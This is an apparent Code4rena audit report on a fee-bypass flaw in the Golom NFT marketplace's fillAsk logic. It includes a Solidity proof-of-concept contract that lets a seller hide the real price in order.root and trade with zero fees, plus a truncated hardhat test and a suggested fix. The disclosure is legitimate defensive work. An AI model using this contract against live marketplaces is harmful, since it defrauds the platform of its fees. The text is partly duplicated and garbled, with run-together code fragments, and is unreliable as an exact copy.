Users can avoid paying fees while trading trustlessly & using golom's network effects
Description
If a maker makes below mentioned AvoidsFeesContract a reservedAddress and hides the info about how much they want their NFT in order.root, they can avoid paying fees while trading trustlessly and using the nework effects of golom maketplace with 0 o.totalAmt. see POC to get a better idea.
Here the maker uses order.root to hide the amount they want to get paid because it is much cleaner for a POC.
but since golom does not have an API where user can submit a signature without using the frontend, they will use something like deadline to hide the amount they want to get paid.
Reason they would use deadline is because that is something they can control in the golom NFT frontend
They can pack the information about deadline and amount they want to get paid, in one uint256 as a deadline and then the check in the contract would look a different
create a AvoidsFeesContract.sol contract in contracts/test/ folder with following code
//contract that avoids paying fees everytime
pragma solidity 0.8.11;
import "../core/GolomTrader.sol";
//A maker will be gurranteed a payout if it makes this contract the reservedAddress and hide the payment info about how much they want in Oder.root
//Users will use this every time to trade to avoid paying fees
//They use the networking effects of the golom marketplace without paying the fees
contract AvoidsFeesContract {
GolomTrader public immutable golomTrader;
constructor(GolomTrader _golomTrader) {
golomTrader = _golomTrader;
}
function fillAsk(
GolomTrader.Order calldata o,
uint256 amount,
address referrer,
GolomTrader.Payment calldata p,
address receiver
) public payable {
require(
o.reservedAddress == address(this),
"not allowed if signer has not reserved this contract"
); //the signer will only allow this contract to execute the trade and since it has following checks, they will be guranteed a payout they want without paying the fees
require(
p.paymentAddress == o.signer,
"signer needs to be the payment address"
);
//I am using root as an example because it is much cleaner for a POC.
//but since golom does not have an API where user can submit a signature without using the frontend, they will use something like deadline to hide the amount they want to get paid.
//Reason they would use deadline is because that is something they can control in the golom NFT frontend
//They can pack the information about deadline and amount they want to get paid, in one uint256 as a deadline and then the check below would look a little different
require(
p.paymentAmt == uint256(o.root),
"you need to pay what signer wants"
); //the maker will hide the payment info in oder.root
golomTrader.fillAsk{value: msg.value}(
o,
amount,
referrer,
p,
receiver = msg.sender
);
}
}
- add following test in `test/GolomTrader.specs.ts` [here](https://github.com/code-423n4/2022-07-golom/blob/main/test/GolomTrader.specs.ts#L390) and run `npx hardhat compile && npx hardhat test`
it.only('should allow malicious contract to execute the trade while bypassing the fees', async () => {
let exchangeAmount = ethers.utils.parseEther('0'); // cut for the exchanges
let prePaymentAmt = ethers.utils.parseEther('0'); // royalty cut
let totalAmt = ethers.utils.parseEther('0');
let tokenId = await testErc721.current();
## Tools Used
- the [repo](https://github.com/code-423n4/2022-07-golom) itself.
## Recommended Mitigation Steps
- make sure that o.totalAmt is greater than p.paymentAmt in addition to [this](https://github.com/code-423n4/2022-07-golom/blob/main/contracts/core/GolomTrader.sol#L217) check
Lines of code
https://github.com/code-423n4/2022-07-golom/blob/main/contracts/core/GolomTrader.sol#L203-L271 https://github.com/code-423n4/2022-07-golom/blob/main/contracts/core/GolomTrader.sol#L211
Vulnerability details
Impact
Description
AvoidsFeesContract
a reservedAddress and hides the info about how much they want their NFT in order.root, they can avoid paying fees while trading trustlessly and using the nework effects of golom maketplace with 0 o.totalAmt. see POC to get a better idea.Proof of Concept
yarn
AvoidsFeesContract.sol
contract incontracts/test/
folder with following codepragma solidity 0.8.11;
import "../core/GolomTrader.sol";
//A maker will be gurranteed a payout if it makes this contract the reservedAddress and hide the payment info about how much they want in Oder.root //Users will use this every time to trade to avoid paying fees //They use the networking effects of the golom marketplace without paying the fees contract AvoidsFeesContract { GolomTrader public immutable golomTrader;
}
it.only('should allow malicious contract to execute the trade while bypassing the fees', async () => { let exchangeAmount = ethers.utils.parseEther('0'); // cut for the exchanges let prePaymentAmt = ethers.utils.parseEther('0'); // royalty cut let totalAmt = ethers.utils.parseEther('0'); let tokenId = await testErc721.current();